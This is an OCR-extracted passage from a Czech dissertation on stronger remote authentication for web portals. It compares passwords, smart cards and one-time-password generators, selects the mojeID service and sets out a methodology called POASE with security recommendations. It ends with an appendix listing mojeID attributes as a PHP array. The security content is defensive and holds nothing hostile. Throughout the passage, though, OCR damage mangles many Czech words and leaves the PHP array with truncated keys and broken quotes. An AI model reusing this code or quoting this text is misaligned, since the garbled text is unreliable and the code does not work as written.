V sowasné dob nejrozsfergjSi zpisob autentizace — znalosti hesla — poskytuje rsakye
zabezpéeni. Nutnym pedpokladem je disciplinovanost uZzivditelpii prihlaSovani —
nepouZzivat stejné heslo prézné ®&ty, nezadavat autentizmai Udaje na nezabezfmnych
stanicich, pouzivani silnych (na druhou stragika zapamatovatelnych) hesel, jejich
pravidelna zmana a striktni dodrzovani zasilani hesétspzabezpgeny kandal. Vzhledem
k tomu, Ze ne vzdy je mozné zajistit vSechna vydedana opdéni a gktera z nich jsou
navic kontraproduktivni, nebonagiklad vyZadovani¢asté zminy silného hesla vede
uzivatele k obchazengdhto opateni, heslo dopuje pdadovymi ¢isly nebo si @i Uplné

zmeéné heslo poznamenéimz zvysSuje riziko jeho prozrazeni.

Vzhledem k tomu, Ze tato prace sénwje zabezp#ni autentizace na dalku, nejsou
piiliS pouzitelné ani metody autentizace vlastndstio autentizani Udaje jsou jiz z podstaty
téchto metod (faktor neémné charakteristiky) ne¢nné — autentizani informace #stava
stéle stejna a jsou pouzitelngepazrié pii autentizaci na blizko v kontaktnich autentizizh
systémech, kde neni vyZadovana stoprocentni spaishfxi rozpoznani uzivatele.

V sowasné dob je nejspolehligjSi metodou autentizace tukhz vlastnictvim
autentizéniho pedmétu. Pro tento zfsob autentizace Ize pouzéipové karty nebo
generatory jednorazovych hesel.

Cipové karty vyuzivaji technologie digitalniho podpisujqemz privatni kié uloZzeny
nacipové kart neni mozné exportovat — digitalni podpis zaijé samotna kart&ip na kart
je chragn PIN kddem a ip opakovaném chybném zadani PIN dojde k zablokokartiy.
Nevyhodou tohotdeSeni je nutnost instalaéexky ¢ipovych karet a software na @ita¢, kde
bude karta pouzivana. Kartu tedy neni mozné powaZiibovolném péitaci. Naopak vyhodou
tohototreSeni je jeho univerzalnost — certifikat digitamibodpisu je mozné zaregistrovat do
vSech systéfi) ke kterym uzivatel fistupuje bez moznosti jeho zneuziti. Bexpestnim
rizikem je ztrdta karty a prozrazeni kodu PIN nelapadeni peitate a tim moZnost
podsteni Ut@nikovych dat k podpisu.

Generatory jednorazovych heselgeneruji jednorazova hesla na zaklatlileného
tajemstvi a prornlivého faktoru —casu nebo p@dového cisla. Hlavni vlastnosti je

nemoznost odhalit nasledujici kéd na zéklarhalosti posloupnosti fpdchozich koédl
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V piipact hardwarovych generatorjednordzovych hesel neni mozné napadechtd
zarizeni, nebd se jedna o autonomni systémy. Hlavni nevyhodohté HW generatdr je
jejich jedno@elovost a omezena Zivotnost. Jedfelavost vyplyva z nutnosti pouZiti
sdileného tajemstvi, které musi znaé strany. Neni tedy mozné pouzit jeden generator pro
vice systém. V praxi to znamena vlastnit pro kazdy vzdalenstém dedikovany generator.
DalSi moznosti generovani jednorazovych hesel paglkghytré telefony, do kterych je
mozné nainstalovat aplikaci pro jejich generovaniiaitak pro kazdy vzdaleny systéfrna
sdilena tajemstvi. Nevyhodou tohateSeni je dekavané rozéni spyware pro platformy

chytrych telefoi a tedy potencialni bezgostni riziko.

Na zaklad provedené analyzy zdiojbyla pro dalSi vyzkum jako nejbezie|Si
metoda autentizace zvolena tgdnorazova heslaV souvislosti se zvolenyrreSenim byly
stanoveny nasledujici podminky pro beapevyuziti:

« ReSeni vyzaduje pouziti zabezpaych komunikénich kandl a je zavislé na
nepopiratelnosti digitalniho podpisu

« Re3eni je zaloZzené na neji@ich hashovacich funkcich, které jsou vismmé dob
povaZzovany za bezpeé, ale neni mozné odhadnout dalSi vyvoj

* Pro kritické aplikace je vhodné vyuzit nezavisléomunikaniho kanalu (naiklad

sitt GSM), kdy riziko napadeni obou kah&owasrt je podstat# nizsi

Pro implementaci bezpeé autentizace byla na zaktadnalyzy dostupnych sluzeb
zvolena sluzba mojelD, ktera je z uZivatelskéhadiska jednoducha na pouZivani a jeji
implementace je snadna diky mnoha open-sotedeni. Vyhodou této sluzby je také
zapouzdeni vice zpsohi bezpéné autentizace — zahrnujgové karty i jednorazova hesla.
Systém, ktery Zada o autentizaci uzivatelézenvynutit pouziti vybrané bezfr@ metody

autentizace.

Na zaklad vySe uvedenych zji&i byla navrzena metodika Portal authentication
security enhancement (POASE), ktera popisuje krokiné k zavedeni systému s vysSi
bezpénosti autentizace. Ve stmosti se sklada z nasledujicich kiiokdetailni popis je
mozné najit v kapitole 6.1):

* Analyza stavajiciho systému a jeho vazeb

« Uprava vazeb stavajiciho systému
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« Uprava snirnic a podminek pro uzivani portalu
e Sepsani smlouvy s poskytovatelem mojelD
* Implementace systému
» Testovani funknosti
* Pouweni uzivatel o bezpénosti na internetu
NavrZzena metodika byla implementovana do vybranéftwmainiho systému. &em
samotného testovani nedochazelo k zadnym vypadK.imitujicim faktorem se ukazala
nedostaténa vybavenost vedoucich pracowvinikobilnimi telefony umaoiujicimi generovani
jednorazovych hesel. V tomto ohledu by bylo vhodritmoznost ke slugmojelD zakoupit
generatory jednoradzovych hesel (OTP tokeny). Dikgstmostem sluzby mojelD by
uzivatehim sta&il jeden token pro vSechny systémy s implementaciy mojelD.
Zvyseni bezpgnosti autentizace bylo ¢keno ngfenim charakteristik jakosti IS.
Atributy charakteristik byly navrZzeny autorem naklaék dostupnych literarnich zdroj
M¢éteni ukazalo sniZzeni Uro¥npouzitelnosti a dostupnostitip zvySeni bezp@osti

autentizace.

Na zaklad oweéteni v ramci cyklu PDCA byly navrzeny drobné Upramgtodiky podle
zjistenych nedostatk Dale byla metodika aplikovana na dalSi systémzéldad uvedeného
testovani je mozné metodiku oziteza platnou. S ohledem na fakt, Ze v oblasti b&zpsti
stadle dochazi k potmné velkym znénam, lze ¢ekavat do budoucna Upravy metodiky.
Metodika tvorby vlastni diserai prace je pedevSim diky pouzité metdd®DCA na tento

fakt pripravena a umaiilje reagovat na budouci Zny.
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12. Prilohy
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12.1. Atributy uzivatele ve sluzby mojelD
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$ax_attributes = array(
'fullname’ => array(
'scheme’ =>
'http://axschema.org/namePerson’,
‘textt =>'Celé jméno’,
'required' => FALSE
)

irstname’ => array(
'scheme’ =>
'http://axschema.org/namePerson/first,
‘textt  =>'Jméno’,
'required' => TRUE
),
'lastname’ => array(
'scheme’ =>
‘http://axschema.org/namePerson/last’,
‘textt =>'P Fijmeni',
'required’ => TRUE
)

ick' => array(
'scheme’ =>
‘http://axschema.org/namePerson/friendly’,
‘textt =>'P rezdivka',
'required’' => FALSE
),
‘company' => array(
'scheme’ =>
‘http://axschema.org/company/name’,

‘text  =>'Jméno spole &nosti',

'required' => FALSE
)

_address' => array(
'scheme’ =>
'http://axschema.org/contact/postalAddress/home’,
‘textt =>'Domaci adresa — Ulice',
'required' => TRUE
)

_address2' => array(

'scheme’ =>
'http://axschema.org/contact/postalAddressAdditiona
me’,

'text =>'Doméaci adresa — Ulice2',
'required’' => FALSE

)

_address3' => array(

'scheme’ =>
‘http://specs.nic.cz/attr/addr/main/street3’,
‘text =>'Domaci adresa — Ulice3/,

I/ho
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'required' => FALSE
)

_city' => array(
'scheme’ =>
'http://axschema.org/contact/city/home’,
‘text =>'Doméaci adresa—M
'required' => TRUE
)

_state' => array(
'scheme’ =>
'http://axschema.org/contact/state/home’,
‘text =>'Doméaci adresa — Stat',
'required' => TRUE
),
'h_country' => array(
'scheme’ =>
‘http://axschema.org/contact/country/home’,
‘text =>'Domaci adresa — Zem
'required’ => TRUE
)

_postcode’ => array(
'scheme’ =>
'http://axschema.org/contact/postalCode/home’,
‘text =>'Domaci adresa — PS
'required' => TRUE
)

,_address' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/street’,

'text => 'Faktur. adresa — Ulice’',

'required' => FALSE
)

,_addreSSZ' => array(
'scheme' =>
'http://specs.nic.cz/attr/addr/bill/street2',

'text => 'Faktur. adresa — Ulice2',

'required' => FALSE
)

’_address3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/street3’,

'text' => 'Faktur. adresa — Ulice3',

'required' => FALSE
)

_city' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/bill/city’,
'textt =>'Faktur. adresa — M
'required’' => FALSE
)

_state' => array(

&sto’,

&sto’,
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'scheme’ =>
'http://specs.nic.cz/attr/addr/bill/sp’,
‘textt =>'Faktur. adresa — Stat',
'required' => FALSE
),
'b_country' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/bill/cc’,
‘text' =>'Faktur. adresa — Zem
'required’' => FALSE
)

_postcode’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/pc’,
‘text =>'Faktur. adresa — PS
'required’' => FALSE
)

_address' => array(

'scheme’ =>
‘http://specs.nic.cz/attr/addr/ship/street’,
‘text =>'Doru
'required’' => FALSE

(@K

)

,_addreSSZ' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/street2’,

. adresa — Ulice',

'text =>'Doru &. adresa — Ulice2',

'required' => FALSE
)

,_addreSSS' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/street3’,

'text =>'Doru &. adresa — Ulice3',

'required' => FALSE
)

_city' => array(

'scheme’ =>
‘http://specs.nic.cz/attr/addr/ship/city’,
'text =>'Doru
'required' => FALSE

(@K

)

’_state' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/sp’,

.adresa— M &sto’,

'textt =>'Doru &. adresa — Stat',

'required’ => FALSE
)
's_country' => array/(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/cc’,

'textt =>'Doru &. adresa — Zem &'
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'required' => FALSE
)

_postcode’ => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/pc’,
‘text =>'Doru ¢.adresa—-PS (',
'required' => FALSE
)

_address' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/street’,
‘textt =>'Koresp. adresa — Ulice',
'required’' => FALSE
),
'm_address2' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/street2’,
'textt =>'Koresp. adresa — Ulice2',
'required’' => FALSE
)

_address3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/mail/street3’,
'text’ =>'Koresp. adresa — Ulice3',
'required’' => FALSE
)

_city' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/mail/city’,
'text’ =>'Koresp. adresa — M ésto’,
'required' => FALSE
),
'm_state' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/sp’,
'text =>'Koresp. adresa — Stat',
'required' => FALSE
)
'm_country' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/cc’,
‘textt =>'Koresp. adresa — Zem &',
'required' => FALSE
)

_postcode’ => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/pc’,
‘textt =>'Koresp. adresa — PS C,
'required’' => FALSE
)

' hone' => array(



'scheme' =>
'http://axschema.org/contact/phone/default’,
'text’ =>'Telefon — Hlavni',
'required' => FALSE
)

hone_home' => array(
'scheme’ =>
'http://axschema.org/contact/phone/home’,
‘textt =>'Telefon — Domaci’,
'required’' => FALSE
)

hone_work' => array(
'scheme’ =>
‘http://axschema.org/contact/phone/business’,
‘text =>'Telefon — Pracovni’,
'required’' => FALSE
)

hone_mobile' => array(
'scheme’ =>
'http://axschema.org/contact/phone/cell’,
'text =>'Telefon — Mobil',
'required’' => FALSE
)

ax' => array(
'scheme’ =>
'http://axschema.org/contact/phone/fax’,
'text =>'Telefon — Fax’,
'required' => FALSE
)

mail' => array(
'scheme’ =>
'http://axschema.org/contact/emalil’,
‘text' =>'Email — Hlavni',
'required' => FALSE
)

mail2' => array(
'scheme’ =>
'http://specs.nic.cz/attr/email/notify’,
'text =>'Email — Notifika
'required' => FALSE
)

mail3' => array(
'scheme’ =>
'http://specs.nic.cz/attr/email/next’,
‘text =>'Email — Dalsi",
'required’' => FALSE
)

rlI' => array(
'scheme' =>
'http://axschema.org/contact/web/default’,
'text =>'URL — Hlavni',
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'required' => FALSE
)

log' => array(
'scheme’ =>
'http://axschema.org/contact/web/blog’,
‘text =>'URL - Blog’,
'required' => FALSE
)

r2' => array(
'scheme’ =>
'http://specs.nic.cz/attr/url/personal’,
‘text =>'URL - Osobni’,
'required’' => FALSE
)

r3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/work’,
‘text =>'URL - Pracovni’,
'required’' => FALSE
),
'rss' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/rss’,
'textt =>'URL — RSS',
'required’' => FALSE
)

b' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/facebook’,
'text =>'URL - Facebook’,
'required' => FALSE
)

witter' => array(
'scheme’ =>
'http://specs.nic.cz/attr/url/twitter',
'text” =>'URL — Twitter',
'required' => FALSE
),
'linkedin' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/linkedin’,
‘textt =>'URL — LinkedIN’,
'required' => FALSE
),
'icq’ => array(
'scheme’ =>
'http://axschema.org/contact/IM/ICQ’,
textt  =>'IM -ICQ)/,
'required’' => FALSE
)

‘fabber' => array(
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'scheme’ =>
'http://axschema.org/contact/IM/Jabber’,
‘textt =>'IM — Jabber’,
'required' => FALSE
)
'skype’ => array(
'scheme’ =>
'http://axschema.org/contact/IM/Skype’,
‘textt  =>'IM — Skype',
'required’' => FALSE
)

talk' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/im/google_talk’,
‘textt =>'IM — Google Talk’,
'required’' => FALSE
)

live' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/im/windows_live’',
‘text  =>'IM — Windows Live',
'required’' => FALSE
)

at_id' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/ident/vat_id',
‘text' =>'ldentifikator - ICO’,
'required' => FALSE
)

at' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/vat’,
‘text' =>'ldentifikator - DIC',
'required' => FALSE
)

p' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/card’,
‘text' =>'ldentifikator — OP",
'required' => FALSE
)

as' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/pass’,
'textt  =>'ldentifikator - PAS',
'required’' => FALSE
)
'mpsVv' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/ident/ssn’,
‘textt  =>'ldentifikator - MPSV",



133

'required' => FALSE
)

tudent' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/student’,
‘textt =>'P ¥iznak - Student’,
'required' => FALSE
)

alid' => array(
'scheme’ =>
'http://specs.nic.cz/attr/contact/valid',
‘textt =>'P fiznak — Validace',
'required’' => FALSE
),
'status' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/status’,
‘textt =>'Stavu ctu',
'required’' => FALSE
)

dult’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/adult’,
‘text =>'P ¥iznak — StarSi 18 let',
'required’' => FALSE
),
'image’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/contact/image’,
'text =>'Obrazek (base64)',
'required' => FALSE



12.2. Metodika POASE

1. Analyza stavajiciho systému a jeho vazeb
* Kdo vyuziva autentizmich sluzeb systému
» Zhodnoceni, jak je kritické zabezfmi autenticity uZivatele
» Zhodnoceni, kdy je z geografického hlediskéstppujiciho uZivatele nutné
provadt autentizaci s vySSim stum zabezp&eni

* Role uzivatal

2. Uprava vazeb stdvajiciho systému

Na zaklad analyzy je nutné provést vazbu mezi stavajicintésyem a systémem
mojelD. Ke stavajicim uZivatelskymc¢tiim je nutné fidat pole obsahujici identifikator
mojelD v podok textovéhaetézce.

Pro role uzivatél je nutné nastavit pozadovan&eni uzivatele.

3. Sepsdni smlouvy s poskytovatelem mojelD
Smlouva se sdruzenim
Pro provozovani sluzby mojelD je nutné podepsabskytovatelem Smlouvu o uZziti
sluzby mojelD pro fhlaSeni k systéfim poskytovatele. Poskytovatelem je provozovatel
systému, ktery Zada o autentizaci uziviatkd svych systém Sowasti smlouvy jsou:
» Podminky uziti sluzby mojelD praiplaseni k systéfm poskytovatei
* Pravidla poskytovani sluzby mojelD pro koncové akde
* Cenik
» Kontaktni informace

Ro¢ni poplatek za uzivani sluzby mojelD je stanoverd 880 K (cena platna k 30. 4.
2013).

V ramci Kontaktnich informaci jsou spéteosti CZ.NIC poskytnuty (daje o
kontaktnich osobach veeech:

¢ Smluvnich

* Technickych
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Dulezitym udajem v kontaktnich informacich jsou oblaBdRL poskytovatele sluzeb,
tedy ¢ast prostoru URL, pro niz je Zadost octeni identity platna. V této oblasti musi lezet
navratova adresa.

4. Uprava smérnic a podminek vyuzivdni informaéniho systému

Zavedeni bezpgmé autentizace neni pouze zalezitostEérynsystému, ale zaroiese
jedna o zminu organizanich pravidel, je nutné provést reviziguSnych dokumeft které
se tykaji bezpmosti gistupu a pihlaSovani. Revize se tyka nasledujicich dokuiinent

* Smeérnice o0 vyuZivani informaich technologii (v fipact intranetovych
portak)

» Podminky pro vyuzivani sluzeb portalu {pad portalovych aplikaci)

5. Integrace sluzby mojelD do informacniho systému

Na vSechna mista, odkud je moznéhlaSeni uzivatél, je nutné pdat odkaz na
piihlaSeni pomoci mojelD. Dale je nutné provést omezihlaSeni pomoci stavajiciho
piihlaSovaciho mechanismu nasledujicinisgbem:

* Pro neaktivni fistup (uzivatel nema fstup k citlivym 0dajm, neniize
schvalovat apod.) systém umoZniftispup stavajicim autentigaim
mechanismem nebo sluzbou mojelD

o UZivatel s aktivnim fistupem se Ii¥e gihlasit do systému stavajicim
autentiz&nim mechanismem; fp aktivni c¢innosti je pozadan o iflaseni
S vySSim stuptm zabezp&eni

» Pro aktivni pistup je zakazanaoriblaseni nedvéryhodnou metodou

6. Testovdni systému

Pro testovani systému je nutné zvolit reprezentatizorek uzivate, skladajici se
pokud mozZno ze vSechtipustnych roli. Testovani je nutné provést jak navidi
uzivatelského testovani (fuékost, pouzitelnost), tak na technické urovni (beapbovost,
acinnost, udrzovatelnostignositelnost).

Spravce systému musi zajistit pravidelnou kontraplikaci tetich stran zajidujici
komunikaci se sluzbou mojelD. Zejména je nutnémlatino¥ zjisttné bezpeénostni hrozby

a systém co nejire aktualizovat.
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7. Zdvaznd doporuceni pro provozovatele systému a koncové

uzivatele

Metodiku POASE nelze chépat jako postup izolovadiykolnich systéiin Je nutné si

uvédomit, Ze bezpmost je soubor vice ogahi a Ze bezgaa autentizace sice sniZuje riziko

atoku na autentizai mechanismus, ale nezabe&pey systém miru bezpeosti zgtné

shiZuje.

Pro provozovatele systému jsou nutnosti nasledogidminky:

1.

5.

Portal vyuZiva zabezpeného pipojeni HTTPS

2. Na serveru jsou nainstalovany certifikatiwdryhodné certifikéni autority
3.
4. Na serveru jsou nainstalovany vSechny beapstni zaplaty pro opefmai

Doménovy zaznam je zabezpe technologii DNSSEC

systém a aplikace
Systém je chraim firewallem a systémy detekceipiku (IDS)

Pro koncové uZzivatele plati nasledujici pravidla

1. DNS server vyuziva technologii DNSSEC pro ¢i@ni pravosti
doménového zaznamu (Ize &W¥ shadno na internetové strance
http://www.nic.cz)

2. UzZivatelé neposkytuji své auteniimd Udaje tetim stranam

3. UzZivatelé udrzuji péitag, prostednictvim kterého ifistupuji k portalu,
aktualizovany a pouZzivaji antivirovy program

4. Uzivatelé jsou poteni o hrozbach phishingu a pharmingu

8. Vymezeni oblasti pro plnohodnotné pouziti metodiky
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Uzivatel musi rozurt ceskému nebo anglickému jazyku

UzZivatel musi mit fistupu k telefonu ¥R nebo SR

Metodika neni pouzitelna pro neinteraktivniigpb autentizace

Metodika umo#uje owieni uZivatele pouze s povolenyrfigupem na adresu

https://mojeid.cz



12.3. Doporuéeni pro koncove uzivatele
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Aktualizovany operéni systém a vSechny aplikace

Aktualizovany antivirovy program (je mozné vyuziftsvare zdarma)
Zabezpéeni DNS serveru technologii DNS SEC (dg&nim stranky
http://www.nic.cz Ize o#¥fit, jestli je @ipojeni chragno DNSSEC), fipadné
nechragné gipojeni konzultovat s poskytovatelem internetu

Kontrola souladu adresy v adresnigwlku s poZzadovanou adresou

Kontrola zabezpgeni spojeni ai/éryhodnosti certifikatu (prohlide wtSinou
upozonuji na problémy s certifikaty)

Nepracovat na pdtaci pod &tem spravce — procaly bézneé prace vytviat Ucet
S nizkym opravénim v systému

Nikomu neposkytovat své heslo ani jiné autestizaidaje. Owteni uZivatele

vzdy probiha fes stranku mojeid.cz



